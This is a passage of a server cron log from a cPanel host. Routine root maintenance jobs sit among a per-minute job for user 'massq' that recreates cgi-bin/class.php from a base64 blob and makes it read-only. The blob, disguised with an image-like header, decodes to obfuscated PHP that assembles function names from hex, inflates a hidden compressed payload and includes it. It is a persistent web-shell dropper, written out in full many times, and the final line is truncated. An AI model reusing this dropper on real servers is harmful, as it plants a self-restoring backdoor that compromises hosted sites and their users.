Apr  8 21:18:01 server CROND[8635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:19:01 server CROND[8799]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:20:01 server CROND[8861]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 21:20:01 server CROND[8863]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 21:20:01 server CROND[8864]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 21:20:01 server CROND[8865]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 21:20:01 server CROND[8866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:21:01 server CROND[8994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:22:01 server CROND[9069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:23:01 server CROND[9136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:24:01 server CROND[9302]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:25:01 server CROND[9372]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 21:25:01 server CROND[9373]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 21:25:01 server CROND[9374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:26:01 server CROND[9493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:27:01 server CROND[9584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:27:01 server CROND[9585]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 21:28:01 server CROND[9654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:29:01 server CROND[9817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:30:01 server CROND[9877]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 21:30:01 server CROND[9878]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 21:30:01 server CROND[9879]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 21:30:01 server CROND[9880]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 21:31:01 server CROND[10001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5Uo